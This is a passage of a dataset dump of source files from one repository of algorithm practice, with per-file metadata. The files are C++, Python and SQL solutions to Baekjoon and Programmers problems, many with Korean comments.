\\n\\n\\treturn 0;\\n}\"\n },\n {\n \"alpha_fraction\": 0.44732576608657837,\n \"alphanum_fraction\": 0.5235008001327515,\n \"avg_line_length\": 21.88888931274414,\n \"blob_id\": \"ac291b73a8c4df950d504d9a884396a5a970f949\",\n \"content_id\": \"46d8b372677b9eb979cea17e0ce74a47a458ad12\",\n \"detected_licenses\": [],\n \"is_generated\": false,\n \"is_vendor\": false,\n \"language\": \"C++\",\n \"length_bytes\": 619,\n \"license_type\": \"no_license\",\n \"max_line_length\": 83,\n \"num_lines\": 27,\n \"path\": \"/BOJ/Dynamic Programming/9251.cpp\",\n \"repo_name\": \"yegyeom/Algorithm\",\n \"src_encoding\": \"UTF-8\",\n \"text\": \"/*\\nBOJ 9251번: LCS\\nDATE: 2021-08-01\\nDynamic Programming (Longest Common Subsequence)\\n*/\\n#include <iostream>\\n#include <algorithm>\\nusing namespace std;\\n\\nint dp[1001][1001];\\n\\nint main(){\\n ios_base::sync_with_stdio(0); cin.tie(0); cout.tie(0); \\n string str1, str2;\\n cin >> str1 >> str2;\\n\\n for(int i = 1 ; i <= str2.size() ; i++){\\n for(int j = 1 ; j <= str1.size() ; j++){\\n if(str2[i-1] == str1[j-1]) dp[i][j] = dp[i-1][j-1] + 1;\\n else if(str2[i-1] != str1[j-1]) dp[i][j] = max(dp[i][j-1], dp[i-1][j]);\\n }\\n }\\n\\n cout << dp[str2.length()][str1.length()];\\n\\n return 0;\\n}\"\n },\n {\n \"alpha_fraction\": 0.5469169020652771,\n \"alphanum_fraction\": 0.5871313810348511,\n \"avg_line_length\": 19.77777862548828,\n \"blob_id\": \"8b021d9cc40a85135bd20115ff968d14c0f77e5d\",\n \"content_id\": \"bac6ccadff2b3f53e8b248430704b810faa54359\",\n \"detected_licenses\": [],\n \"is_generated\": false,\n \"is_vendor\": false,\n \"language\": \"C++\",\n \"length_bytes\": 427,\n \"license_type\": \"no_license\",\n \"max_line_length\": 69,\n \"num_lines\": 18,\n \"path\": \"/programmers/Level 2/camouflage.cpp\",\n \"repo_name\": \"yegyeom/Algorithm\",\n \"src_encoding\": \"UTF-8\",\n \"text\": \"/*\\nprogrammers Level 2: 위장\\ndate: 2022-02-28\\n*/\\n#include <vector>\\n#include <map>\\nusing namespace std;\\n\\nint solution(vector<vector<string>> clothes) {\\n int answer = 1;\\n map<string, int> m;\\n \\n for(vector<string> v : clothes) m[v[1]] += 1;\\n \\n for(auto i : m) answer *= i.second + 1; // +1: 해당 종류를 입지 않는 경우 추가\\n \\n return answer - 1; // 아무 옷도 입지 않은 경우 제외\\n}\"\n },\n {\n \"alpha_fraction\": 0.43633952736854553,\n \"alphanum_fraction\": 0.45888593792915344,\n \"avg_line_length\": 19.95833396911621,\n \"blob_id\": \"847d61ff3c281d422df24b8696137b96620ed30d\",\n \"content_id\": \"d894a83803352dee974ab4b7dfa64d8ede7c4a4b\",\n \"detected_licenses\": [],\n \"is_generated\": false,\n \"is_vendor\": false,\n \"language\": \"C++\",\n \"length_bytes\": 1514,\n \"license_type\": \"no_license\",\n \"max_line_length\": 63,\n \"num_lines\": 72,\n \"path\": \"/programmers/Level 1/failure_rate.cpp\",\n \"repo_name\": \"yegyeom/Algorithm\",\n \"src_encoding\": \"UTF-8\",\n \"text\": \"//programmers Level 1: 실패율\\n//2019 KAKAO BLIND RECRUITMENT\\n//2021-10-04\\n#include <iostream>\\n#include <algorithm>\\n#include <vector>\\n#include <map>\\nusing namespace std;\\n\\nbool cmp(pair<double, int>a, pair<double, int>b) {\\n \\tif (a.first == b.first) {\\n\\t\\treturn a.second < b.second;\\n\\t}\\n\\telse {\\n\\t\\treturn a.first > b.first;\\n\\t}\\n \\n}\\n\\nvector<int> solution(int N, vector<int> stages) {\\n vector<pair<double, int>> res(N);\\n vector<int> answer;\\n map<int, int> m;\\n int idx = 0, total = stages.size(); \\n int max = *max_element(stages.begin(), stages.end());\\n\\n sort(stages.begin(), stages.end());\\n \\n for(int i = 1 ; i <= max ; i++) {\\n int cnt = 0;\\n \\n for(int j = idx ; j < stages.size() ; j++) {\\n if(stages[j] == i) cnt++;\\n else {\\n idx = j;\\n break;\\n }\\n }\\n\\n m.insert({i, cnt});\\n }\\n \\n for(int i = 0 ; i < N ; i++) {\\n total -= m[i];\\n \\n if(total <= 0) {\\n res[i] = make_pair(0, i + 1);\\n continue;\\n }\\n \\n double num = double(m[i+1]) / total;\\n res[i] = make_pair(num, i + 1);\\n }\\n \\n sort(res.begin(), res.end(), cmp);\\n \\n for(int i = 0 ; i < res.size() ; i++) {\\n answer.push_back(res[i].second);\\n }\\n \\n return answer;\\n}\\n\\nint main() {\\n vector<int> answer = solution(5, {2, 1, 2, 6, 2, 4, 3, 3});\\n \\n for(int i = 0 ; i < answer.size() ; i++) {\\n cout << answer[i] << \\\" \\\";\\n }\\n\\n return 0;\\n}\"\n },\n {\n \"alpha_fraction\": 0.5630885362625122,\n \"alphanum_fraction\": 0.5725046992301941,\n \"avg_line_length\": 22.130434036254883,\n \"blob_id\": \"4335651996ef30c57aefbc13365b34302fd96f8a\",\n \"content_id\": \"02fdab540ccb45e2cad8939f21032ffc5faf46be\",\n \"detected_licenses\": [],\n \"is_generated\": false,\n \"is_vendor\": false,\n \"language\": \"C++\",\n \"length_bytes\": 539,\n \"license_type\": \"no_license\",\n \"max_line_length\": 81,\n \"num_lines\": 23,\n \"path\": \"/programmers/Level 2/the_biggest_number.cpp\",\n \"repo_name\": \"yegyeom/Algorithm\",\n \"src_encoding\": \"UTF-8\",\n \"text\": \"// programmers Level 2: 가장 큰 수\\n#include <string>\\n#include <vector>\\n#include <algorithm>\\n#include <iostream>\\nusing namespace std;\\n\\nbool cmp(string &a, string &b){\\n return a + b > b + a;\\n}\\n\\nstring solution(vector<int> numbers) {\\n string answer = \\\"\\\";\\n vector<string> v;\\n \\n for(int i = 0 ; i < numbers.size() ; i++) v.push_back(to_string(numbers[i]));\\n sort(v.begin(), v.end(), cmp);\\n\\n for(int i = 0 ; i < v.size() ; i++) answer += v[i];\\n answer = answer.front() == '0' ? \\\"0\\\" : answer;\\n \\n return answer;\\n}\"\n },\n {\n \"alpha_fraction\": 0.466292142868042,\n \"alphanum_fraction\": 0.49719101190567017,\n \"avg_line_length\": 17.763158798217773,\n \"blob_id\": \"b10e43ecd678df8dfe5721035e4d6d26c316d403\",\n \"content_id\": \"fd58409ed28cb452913363b2a815d9798ffe3d06\",\n \"detected_licenses\": [],\n \"is_generated\": false,\n \"is_vendor\": false,\n \"language\": \"C++\",\n \"length_bytes\": 722,\n \"license_type\": \"no_license\",\n \"max_line_length\": 69,\n \"num_lines\": 38,\n \"path\": \"/BOJ/Two Pointer/1484.cpp\",\n \"repo_name\": \"yegyeom/Algorithm\",\n \"src_encoding\": \"UTF-8\",\n \"text\": \"/*\\nBOJ 1484번: 다이어트\\n2021-12-28\\nTwo pointer\\n*/\\n#include <iostream>\\n#include <vector>\\n#include <algorithm>\\nusing namespace std;\\n\\nint main() {\\n ios_base::sync_with_stdio(0); cin.tie(0); cout.tie(0);\\n int g;\\n cin >> g;\\n\\n int arr[g];\\n int start = 0, end = 0;\\n vector<int> ans;\\n\\n for(int i = 0 ; i < g ; i++) arr[i] = i + 1;\\n\\n while(end < g) {\\n int weight = arr[end] * arr[end] - arr[start] * arr[start];\\n\\n if(weight == g) ans.push_back(arr[end]);\\n\\n if(weight < g) end++;\\n else start++;\\n }\\n\\n if(ans.empty()) cout << -1;\\n else {\\n sort(ans.begin(), ans.end());\\n for(int i = 0 ; i < ans.size() ; i++) cout << ans[i] << '\\\\n';\\n }\\n\\n return 0;\\n}\"\n },\n {\n \"alpha_fraction\": 0.5112782120704651,\n \"alphanum_fraction\": 0.5357142686843872,\n \"avg_line_length\": 21.20833396911621,\n \"blob_id\": \"d08fa2b984526e45e4885e647c7b70e62d4acd8b\",\n \"content_id\": \"d38d03d549bf79c05735d41f0ee20b7b5107527d\",\n \"detected_licenses\": [],\n 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c_idx+1);\\n if(b[b_idx] == c[c_idx]) backtracking(a_idx, b_idx+1, c_idx+1);\\n}\\n\\nint main(){\\n ios_base::sync_with_stdio(0); cin.tie(0); cout.tie(0); \\n cin >> n;\\n\\n for(int i = 0 ; i < n ; i++){\\n flag = false;\\n cin >> a >> b >> c;\\n a_length = a.length(); \\n b_length = b.length();\\n c_length = c.length();\\n\\n if(check()) backtracking(0, 0, 0);\\n \\n if(flag) cout << \\\"Data set \\\" << i + 1 << \\\": yes\\\\n\\\";\\n else cout << \\\"Data set \\\" << i + 1 << \\\": no\\\\n\\\";\\n }\\n\\n return 0;\\n}\"\n },\n {\n \"alpha_fraction\": 0.3944866955280304,\n \"alphanum_fraction\": 0.42585551738739014,\n \"avg_line_length\": 18.5,\n \"blob_id\": \"b9ef84464d607466fbd3f392a01b7eaf71f0d681\",\n \"content_id\": \"86220f7f3d2e1521069cb225e9c9c6610994a967\",\n \"detected_licenses\": [],\n \"is_generated\": false,\n \"is_vendor\": false,\n \"language\": \"C++\",\n \"length_bytes\": 1124,\n \"license_type\": \"no_license\",\n \"max_line_length\": 60,\n \"num_lines\": 54,\n \"path\": \"/BOJ/Binary Search/1477.cpp\",\n \"repo_name\": \"yegyeom/Algorithm\",\n \"src_encoding\": \"UTF-8\",\n \"text\": \"/*\\nBOJ 1477번: 휴게소 세우기\\n2021-12-20\\nBinary Search\\n*/\\n#include <iostream>\\n#include <algorithm>\\n#include <vector>\\nusing namespace std;\\n\\nint main() {\\n ios_base::sync_with_stdio(0); cin.tie(0); cout.tie(0);\\n vector<int> v;\\n int n, m, l, num;\\n int start, end, mid, ans = 1000;\\n cin >> n >> m >> l;\\n\\n v.push_back(0);\\n for(int i = 0 ; i < n ; i++) {\\n cin >> num;\\n v.push_back(num);\\n }\\n v.push_back(l);\\n\\n sort(v.begin(), v.end());\\n\\n start = 1;\\n end = l - 1;\\n\\n while(end >= start) {\\n int rest = 0; // 휴게소 개수\\n mid = (start + end) / 2;\\n\\n for(int i = 1 ; i < v.size() ; i++) {\\n int dist = v[i] - v[i - 1];\\n int cnt = dist / mid; // 두 휴게소 사이에 설치 가능한 휴게소 개수\\n\\n if(cnt > 0) { // 휴게소 설치 가능\\n if(dist % mid == 0) rest += cnt - 1;\\n else rest += cnt;\\n }\\n }\\n\\n if(rest > m) start = mid + 1;\\n else {\\n end = mid - 1;\\n ans = min(mid, ans);\\n }\\n }\\n\\n cout << ans;\\n\\n return 0;\\n}\"\n },\n {\n \"alpha_fraction\": 0.6053068041801453,\n \"alphanum_fraction\": 0.6650083065032959,\n \"avg_line_length\": 15.75,\n \"blob_id\": \"7dbf06adbb5534c4a9610b922dc638797fc92d85\",\n \"content_id\": \"6883bacb77ec99553e8a6f482034b9e66b9cf762\",\n \"detected_licenses\": [],\n \"is_generated\": false,\n \"is_vendor\": false,\n \"language\": \"Markdown\",\n \"length_bytes\": 651,\n \"license_type\": \"no_license\",\n \"max_line_length\": 85,\n \"num_lines\": 36,\n \"path\": \"/programmers/SQL/SUM, MAX, MIN.md\",\n \"repo_name\": \"yegyeom/Algorithm\",\n \"src_encoding\": \"UTF-8\",\n \"text\": \"# SUM, MAX, MIN\\n\\n**[1. 최댓값 구하기 (Level 1)](https://programmers.co.kr/learn/courses/30/lessons/59415)**\\n\\n```sql\\nSELECT MAX(DATETIME)\\nFROM ANIMAL_INS\\n```\\n\\n<br/>\\n\\n**[2. 최솟값 구하기 (Level 2)](https://programmers.co.kr/learn/courses/30/lessons/59038)**\\n\\n```sql\\nSELECT MIN(DATETIME)\\nFROM ANIMAL_INS\\n```\\n\\n<br/>\\n\\n**[3. 동물 수 구하기 (Level 2)](https://programmers.co.kr/learn/courses/30/lessons/59406)**\\n\\n```sql\\nSELECT COUNT(*)\\nFROM ANIMAL_INS\\n```\\n\\n<br/>\\n\\n**[4. 중복 제거하기 (Level 2)](https://programmers.co.kr/learn/courses/30/lessons/59408)**\\n\\n```sql\\nSELECT COUNT(DISTINCT NAME)\\nFROM ANIMAL_INS\\nWHERE NAME IS NOT NULL\\n```\\n\"\n },\n {\n \"alpha_fraction\": 0.36057692766189575,\n \"alphanum_fraction\": 0.40224358439445496,\n \"avg_line_length\": 14.625,\n \"blob_id\": \"c5ebc3cafc0f8a338cf9eb5e94fbabd07af7026c\",\n \"content_id\": \"2c3abd2d2eec2dccf6a1907a2300750f9eba04fc\",\n \"detected_licenses\": [],\n \"is_generated\": false,\n \"is_vendor\": false,\n \"language\": \"C++\",\n \"length_bytes\": 626,\n \"license_type\": \"no_license\",\n \"max_line_length\": 58,\n \"num_lines\": 40,\n \"path\": \"/BOJ/Mathematics/13251.cpp\",\n \"repo_name\": \"yegyeom/Algorithm\",\n \"src_encoding\": \"UTF-8\",\n \"text\": \"/*\\nBOJ 13251번: 조약돌 꺼내기\\nDATE: 2022-06-28\\n*/\\n#include <iostream>\\nusing namespace std;\\n\\nint main(){\\n ios_base::sync_with_stdio(0); cin.tie(0); cout.tie(0);\\n int m, k, sum = 0;\\n double ans = 0;\\n\\n cin >> m;\\n \\n int arr[m];\\n \\n for(int i = 0 ; i < m ; i++) {\\n cin >> arr[i];\\n sum += arr[i];\\n }\\n\\n cin >> k;\\n\\n for(int i = 0 ; i < m ; i++){\\n double a = 1, b = 1;\\n\\n for(int j = 0 ; j < k ; j++) {\\n a *= arr[i] - j;\\n b *= sum - j;\\n }\\n\\n ans += (double)a / b;\\n }\\n\\n cout << fixed;\\n cout.precision(20);\\n cout << ans;\\n\\n return 0;\\n}\"\n },\n {\n \"alpha_fraction\": 0.46327683329582214,\n \"alphanum_fraction\": 0.48775893449783325,\n \"avg_line_length\": 20.260000228881836,\n \"blob_id\": \"bf4836b75709a009c9b83db9ea16769d83a180ec\",\n \"content_id\": \"0ffd59f5432082adb8f7ec7cc8dfdfceaa43be6f\",\n \"detected_licenses\": [],\n \"is_generated\": false,\n \"is_vendor\": false,\n \"language\": \"C++\",\n \"length_bytes\": 1102,\n \"license_type\": \"no_license\",\n \"max_line_length\": 61,\n \"num_lines\": 50,\n \"path\": \"/BOJ/Two Pointer/2461.cpp\",\n \"repo_name\": \"yegyeom/Algorithm\",\n \"src_encoding\": \"UTF-8\",\n \"text\": \"/*\\nBOJ 2461번: 대표 선수\\nDATE: 2022-01-18\\nTwo pointer\\n*/\\n#include <iostream>\\n#include <vector>\\n#include <algorithm>\\nusing namespace std;\\n\\nint main(){\\n ios_base::sync_with_stdio(0); cin.tie(0); cout.tie(0);\\n vector<pair<int,int>> total;\\n int n, m, input;\\n int start, end, diff, classNum = 0;\\n int min = 1e9;\\n cin >> n >> m;\\n\\n for(int i = 0 ; i < n ; i++){\\n for(int j = 0 ; j < m ; j++){\\n cin >> input;\\n total.push_back({input, i});\\n }\\n }\\n\\n sort(total.begin(), total.end());\\n\\n start = 0; end = 0;\\n vector<int> check(n);\\n\\n while(end < n * m) {\\n // 한 반에서 한 명씩 선발될 때까지 end 증가\\n if(check[total[end].second] == 0) classNum++;\\n check[total[end].second]++;\\n end++;\\n\\n while(classNum == n){ \\n diff = total[end - 1].first - total[start].first;\\n if(diff < min) min = diff;\\n \\n check[total[start].second]--;\\n if(check[total[start].second] == 0) classNum--;\\n start++;\\n }\\n }\\n\\n cout << min;\\n\\n return 0;\\n}\"\n },\n {\n \"alpha_fraction\": 0.34694793820381165,\n \"alphanum_fraction\": 0.36849191784858704,\n \"avg_line_length\": 22.712766647338867,\n \"blob_id\": \"7d016c9f2eed355a1a1fde5077bd50e4affdc21e\",\n \"content_id\": \"6eb8efaa226b3d228544abd0a535c560f7d023d3\",\n \"detected_licenses\": [],\n \"is_generated\": false,\n \"is_vendor\": false,\n \"language\": \"C++\",\n \"length_bytes\": 2258,\n \"license_type\": \"no_license\",\n \"max_line_length\": 134,\n \"num_lines\": 94,\n \"path\": \"/programmers/Level 2/open_chat_room.cpp\",\n \"repo_name\": \"yegyeom/Algorithm\",\n \"src_encoding\": \"UHC\",\n \"text\": \"//programmers Level 2 : Open chat room\\n//2019 KAKAO BLIND RECRUITMENT\\n//2021-05-27\\n#include <string>\\n#include <vector>\\n#include <map>\\n#include <iostream>\\nusing namespace std;\\n\\nvector<string> solution(vector<string> record) {\\n vector<string> answer;\\n map<string, string> m;\\n string tmp, command, id, name, str;\\n int cnt=0;\\n \\n for(int i = 0 ; i < record.size() ; i++){\\n for(int j = 0 ; j < record[i].length() ; j++){\\n if(record[i][j] == ' '){\\n if(cnt == 0)\\n command = tmp;\\n else if(cnt == 1)\\n id = tmp;\\n \\n cnt++;\\n tmp = \\\"\\\";\\n }\\n else{\\n tmp += record[i][j];\\n }\\n\\n if(j == record[i].length() - 1){\\n name = tmp;\\n tmp = \\\"\\\";\\n }\\n }\\n cnt = 0;\\n\\n if(command == \\\"Leave\\\")\\n continue;\\n \\n m[id] = name;\\n }\\n\\n for(int i = 0 ; i < record.size() ; i++){\\n for(int j = 0 ; j < record[i].length() ; j++){\\n if(record[i][j] == ' '){\\n if(cnt == 0)\\n command = tmp;\\n else if(cnt == 1)\\n id = tmp;\\n \\n cnt++;\\n tmp = \\\"\\\";\\n }\\n else{\\n tmp += record[i][j];\\n }\\n\\n if(j == record[i].length() - 1){\\n if(command == \\\"Leave\\\")\\n id = tmp;\\n else\\n name = tmp;\\n \\n tmp = \\\"\\\";\\n }\\n }\\n \\n cnt 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\"repo_name\": \"yegyeom/Algorithm\",\n \"src_encoding\": \"UTF-8\",\n \"text\": \"/*\\nBOJ 1368번: 물대기\\nDATE: 2022-02-11\\nKruskal Algorithm\\n*/\\n#include <iostream>\\n#include <vector>\\n#include <algorithm>\\n#define MAX 301\\nusing namespace std;\\n\\nvector<pair<int,pair<int,int>>> edge;\\nint parent[MAX];\\n\\nint getParent(int x) {\\n if(parent[x] == x) return x;\\n return parent[x] = getParent(parent[x]);\\n}\\n\\nvoid unionParent(int a, int b) {\\n a = getParent(a);\\n b = getParent(b);\\n\\n if(a < b) parent[b] = a;\\n else parent[a] = b;\\n}\\n\\nint findParent(int a, int b) {\\n a = getParent(a);\\n b = getParent(b);\\n\\n if(a == b) return 1;\\n else return 0;\\n}\\n\\nint main() {\\n ios_base::sync_with_stdio(0); cin.tie(0); cout.tie(0);\\n int n, input, ans = 0;\\n cin >> n;\\n\\n for(int i = 1 ; i <= n ; i++) {\\n cin >> input; // i번째 논에 우물을 팔 때 드는 비용\\n edge.push_back({input, {0, i}}); // 0번 노드: 가상 노드\\n }\\n\\n for(int i = 1 ; i <= n ; i++) {\\n for(int j = 1 ; j <= n ; j++) {\\n cin >> input; // i번째 논과 j번째 논을 연결하는데 드는 비용\\n if(input == 0) continue;\\n edge.push_back({input, {i, j}});\\n }\\n }\\n\\n for(int i = 0 ; i <= n ; i++) parent[i] = i;\\n\\n sort(edge.begin(), edge.end());\\n\\n for(int i = 0 ; i < edge.size() ; i++) {\\n int x = edge[i].second.first;\\n int y = edge[i].second.second;\\n int z = edge[i].first;\\n\\n if(!findParent(x, y)) {\\n unionParent(x, y);\\n ans += z;\\n }\\n }\\n\\n cout << ans;\\n\\n return 0;\\n}\"\n },\n {\n \"alpha_fraction\": 0.3570391833782196,\n \"alphanum_fraction\": 0.41219156980514526,\n \"avg_line_length\": 18.16666603088379,\n \"blob_id\": \"d2eaf82b967fa27e4bedd7b8065b9db63511007c\",\n \"content_id\": \"6be3db562cdce3dbcd0707bcb18e7ead89dd2acd\",\n \"detected_licenses\": [],\n \"is_generated\": false,\n \"is_vendor\": false,\n \"language\": \"C++\",\n \"length_bytes\": 751,\n \"license_type\": \"no_license\",\n \"max_line_length\": 72,\n \"num_lines\": 36,\n \"path\": \"/BOJ/Dynamic Programming/12865.cpp\",\n \"repo_name\": \"yegyeom/Algorithm\",\n \"src_encoding\": \"UHC\",\n \"text\": \"/*\\nBOJ 12865번: 평범한 배낭\\nDATE: 2021-02-01\\nDynamic Programming\\n*/\\n#include <iostream>\\n\\nusing namespace std;\\nint arr[101][100001];\\n\\nint main(){\\n ios_base::sync_with_stdio(0); cin.tie(0); cout.tie(0);\\n \\n int n, k;\\n cin >> n >> k;\\n \\n int w[101], v[101];\\n\\n for(int i = 1 ; i <= n ; i++){\\n cin >> w[i] >> v[i];\\n }\\n\\n for(int i = 1 ; i <= n ; i++){\\n for(int j = 1 ; j <= k ; j++){\\n if(w[i] > j) //기존의 최대 가치 유지\\n arr[i][j] = arr[i-1][j]; \\n else{ //(i번째 물건을 담을 때, 담지 않을 때) max 값 선택\\n arr[i][j] = max(v[i] + arr[i-1][j - w[i]], arr[i-1][j]);\\n }\\n }\\n }\\n\\n cout << arr[n][k];\\n\\n return 0;\\n}\"\n },\n {\n \"alpha_fraction\": 0.5,\n \"alphanum_fraction\": 0.5352941155433655,\n \"avg_line_length\": 21.733333587646484,\n \"blob_id\": \"1a26e95777b36efe918b3626148b308fc0e34398\",\n \"content_id\": \"b40ba42ee8bef77730eda14b6aeeb1acb264dddc\",\n \"detected_licenses\": [],\n \"is_generated\": false,\n \"is_vendor\": false,\n \"language\": \"Python\",\n \"length_bytes\": 352,\n \"license_type\": \"no_license\",\n \"max_line_length\": 44,\n \"num_lines\": 15,\n \"path\": \"/programmers/Level 2/phone_book.py\",\n \"repo_name\": \"yegyeom/Algorithm\",\n \"src_encoding\": \"UTF-8\",\n \"text\": \"# programmers Level 2: 전화번호 목록\\n# date: 2022-06-11\\ndef solution(phone_book):\\n answer = True\\n \\n phone_book.sort()\\n str = phone_book[0]\\n \\n for i in range(1, len(phone_book)):\\n if str == phone_book[i][0:len(str)]:\\n answer = False\\n break\\n else: str = phone_book[i]\\n \\n return answer\"\n },\n {\n \"alpha_fraction\": 0.4039735198020935,\n \"alphanum_fraction\": 0.43841060996055603,\n \"avg_line_length\": 16.18181800842285,\n \"blob_id\": \"92af69fa9a8f9ad904fe2fa3f903b6140eae2ab3\",\n \"content_id\": \"b2d405bd7e0c9894f53fbe5f45f75ce7950744eb\",\n \"detected_licenses\": [],\n \"is_generated\": false,\n \"is_vendor\": false,\n \"language\": \"C++\",\n \"length_bytes\": 767,\n \"license_type\": \"no_license\",\n \"max_line_length\": 58,\n \"num_lines\": 44,\n \"path\": \"/BOJ/Binary Search/1654.cpp\",\n \"repo_name\": \"yegyeom/Algorithm\",\n \"src_encoding\": \"UTF-8\",\n \"text\": \"/*\\nBOJ 1654번: 랜선 자르기 \\nDATE: 2021-03-23\\nBinary Search\\n*/\\n#include <iostream>\\n#define MAX \\nusing namespace std;\\n\\nint main(){\\n ios_base::sync_with_stdio(0); cin.tie(0); cout.tie(0);\\n int k, n;\\n long long start, end, mid, sum=0, total, max=-1;\\n cin >> k >> n;\\n\\n int length[k];\\n\\n for(int i = 0 ; i < k ; i++){\\n cin >> length[i];\\n sum += length[i];\\n }\\n\\n start = 1;\\n end = sum / n; \\n\\n while(end - start >= 0){\\n total = 0;\\n mid = (start + end) / 2;\\n\\n for(int i = 0 ; i < k ; i++){\\n total += length[i] / mid;\\n }\\n\\n if(total >= n){\\n start = mid + 1;\\n if(mid > max) max = mid;\\n }\\n else end = mid - 1;\\n }\\n\\n cout << max;\\n\\n return 0;\\n}\"\n },\n {\n \"alpha_fraction\": 0.3827160596847534,\n \"alphanum_fraction\": 0.40740740299224854,\n \"avg_line_length\": 14.8695650100708,\n \"blob_id\": \"32fb1596f5ac7d8516dbb33ea74337199156d732\",\n \"content_id\": \"cd971e38d7c61ea2362e791486cf496b570fd37e\",\n \"detected_licenses\": [],\n \"is_generated\": false,\n \"is_vendor\": false,\n \"language\": \"C++\",\n \"length_bytes\": 741,\n \"license_type\": \"no_license\",\n \"max_line_length\": 58,\n \"num_lines\": 46,\n \"path\": \"/BOJ/Implementation/17413.cpp\",\n \"repo_name\": \"yegyeom/Algorithm\",\n \"src_encoding\": \"UTF-8\",\n \"text\": \"/*\\nBOJ 17413번: 단어 뒤집기 2\\nDATE: 2022-06-06\\n*/\\n#include <iostream>\\n#include <stack>\\nusing namespace std;\\n\\nstack<char> s;\\n\\nvoid print(){\\n while(!s.empty()){\\n cout << s.top();\\n s.pop();\\n }\\n}\\n\\nint main(){\\n ios_base::sync_with_stdio(0); cin.tie(0); cout.tie(0);\\n string str;\\n bool flag = false;\\n\\n getline(cin, str);\\n\\n for(auto i : str){\\n if(i == '<'){\\n print();\\n cout << i;\\n flag = true;\\n }\\n else if(i == '>'){\\n cout << i;\\n flag = false;\\n }\\n else if(flag) cout << i;\\n else if(i == ' ') {\\n print();\\n cout << \\\" \\\";\\n }\\n else s.push(i);\\n }\\n\\n print();\\n\\n return 0;\\n}\"\n },\n {\n \"alpha_fraction\": 0.3900589644908905,\n \"alphanum_fraction\": 0.42291492223739624,\n \"avg_line_length\": 23.75,\n \"blob_id\": \"8f8ca213082d223aec82facccc76480750dd07dd\",\n \"content_id\": \"6f4110595ad2e621b1e765ca6320ba9731bd6af7\",\n \"detected_licenses\": [],\n \"is_generated\": false,\n \"is_vendor\": false,\n \"language\": \"C++\",\n \"length_bytes\": 1199,\n \"license_type\": \"no_license\",\n \"max_line_length\": 71,\n \"num_lines\": 48,\n \"path\": \"/programmers/Level 2/take_a_group_photo.cpp\",\n \"repo_name\": \"yegyeom/Algorithm\",\n \"src_encoding\": \"UTF-8\",\n \"text\": \"/*\\nprogrammers Level 2: 단체사진 찍기\\n2017 KAKAO CODE\\nDATE: 2021-05-24\\nUPDATE: 2022-03-26\\n*/\\n#include <vector>\\n#include <algorithm>\\n#include <string>\\nusing namespace std;\\n\\nint solution(int n, vector<string> data) {\\n int answer = 0;\\n string str = \\\"ACFJMNRT\\\";\\n\\n do{\\n bool flag = true;\\n \\n for(int i = 0 ; i < data.size() ; i++){\\n char ch1 = data[i][0];\\n char ch2 = data[i][2];\\n \\n int idx1 = find(str.begin(), str.end(), ch1) - str.begin();\\n int idx2 = find(str.begin(), str.end(), ch2) - str.begin();\\n \\n int diff = abs(idx1 - idx2) - 1;\\n int value = data[i][4] - '0';\\n \\n if(data[i][3] == '=' && diff != value){\\n flag = false;\\n break;\\n }\\n else if(data[i][3] == '>' && diff <= value){\\n flag = false;\\n break;\\n }\\n else if(data[i][3] == '<' && diff >= value){\\n flag = false;\\n break;\\n }\\n }\\n \\n if(flag) answer++;\\n }\\n while(next_permutation(str.begin(), str.end()));\\n \\n return answer;\\n}\"\n },\n {\n \"alpha_fraction\": 0.47917962074279785,\n \"alphanum_fraction\": 0.5021752715110779,\n \"avg_line_length\": 23.029850006103516,\n \"blob_id\": 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result.push_back(str.substr(prev, cur - prev)); // 마지막 split\\n\\n if(str.find(\\\"::\\\") != string::npos) flag = true;\\n\\n return result;\\n}\\n\\nint main() {\\n ios_base::sync_with_stdio(0); cin.tie(0); cout.tie(0);\\n string str, ans;\\n cin >> str;\\n\\n vector<string> result = split(str, \\\":\\\");\\n vector<string> answer, tmp;\\n\\n if(result.size() != 8) {\\n for(int i = 0 ; i < result.size() ; i++) {\\n if(result[i].length() == 0 && flag) {\\n for(int j = 0 ; j < 9 - result.size() ; j++) tmp.push_back(\\\"0000\\\");\\n flag = false;\\n }\\n else tmp.push_back(result[i]);\\n }\\n\\n result = tmp;\\n }\\n \\n for(int i = 0 ; i < 8 ; i++) {\\n if(result[i].length() < 4) {\\n string tmp;\\n\\n for(int j = 0 ; j < 4 - result[i].length() ; j++) tmp += '0';\\n tmp += result[i];\\n\\n answer.push_back(tmp);\\n }\\n else answer.push_back(result[i]);\\n }\\n \\n for(int i = 0 ; i < 8 ; i++) ans += i == 7 ? answer[i] : answer[i] + \\\":\\\";\\n cout << ans;\\n\\n return 0;\\n}\"\n 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i++) {\\n\\t\\tcin >> x;\\n\\t\\tint abs_x = abs(x);\\n\\n\\t\\tif (x != 0) {\\n\\t\\t\\tpq.push(make_pair(abs_x, x));\\n\\t\\t}\\n\\t\\telse if (x == 0) {\\n\\t\\t\\tif (pq.empty()) {\\n\\t\\t\\t\\tcout << 0 << \\\"\\\\n\\\";\\n\\t\\t\\t\\tcontinue;\\n\\t\\t\\t}\\n\\t\\t\\tcout << pq.top().second << \\\"\\\\n\\\";\\n\\t\\t\\tpq.pop();\\n\\t\\t}\\n\\t}\\n}\"\n },\n {\n \"alpha_fraction\": 0.3082595765590668,\n \"alphanum_fraction\": 0.34365782141685486,\n \"avg_line_length\": 17.86111068725586,\n \"blob_id\": \"a7be29d8879b39d91f3ea18fc3a39bc8b539ece3\",\n \"content_id\": \"92345999678df3f16407504c48bc5a7f694ba14d\",\n \"detected_licenses\": [],\n \"is_generated\": false,\n \"is_vendor\": false,\n \"language\": \"C++\",\n \"length_bytes\": 690,\n \"license_type\": \"no_license\",\n \"max_line_length\": 47,\n \"num_lines\": 36,\n \"path\": \"/BOJ/Brute Force/2309.cpp\",\n \"repo_name\": \"yegyeom/Algorithm\",\n \"src_encoding\": \"UTF-8\",\n \"text\": \"/*\\nBOJ 2309번: 일곱 난쟁이\\n2021-05-18\\nBrute Force\\n*/\\n#include <iostream>\\n#include <algorithm>\\n#define n 9\\nusing namespace std;\\n\\nint main(){\\n int arr[n], sum=0;\\n\\n for(int i = 0 ; i < n ; i++){\\n cin >> arr[i];\\n sum += arr[i];\\n }\\n\\n sort(arr, arr+n);\\n\\n for(int i = 0 ; i < n - 1 ; i++){\\n for(int j = i + 1 ; j < n ; j++){\\n if(sum - arr[i] - arr[j] == 100){\\n for(int k = 0 ; k < n ; k++){\\n if(i == k || j == k)\\n continue;\\n else\\n cout << arr[k] << '\\\\n';\\n }\\n return 0;\\n }\\n }\\n }\\n\\n return 0;\\n}\"\n },\n {\n \"alpha_fraction\": 0.3926829397678375,\n \"alphanum_fraction\": 0.43658536672592163,\n \"avg_line_length\": 16.84782600402832,\n \"blob_id\": \"610b0ff506db6bd7ee187287194b3d483a5dda07\",\n 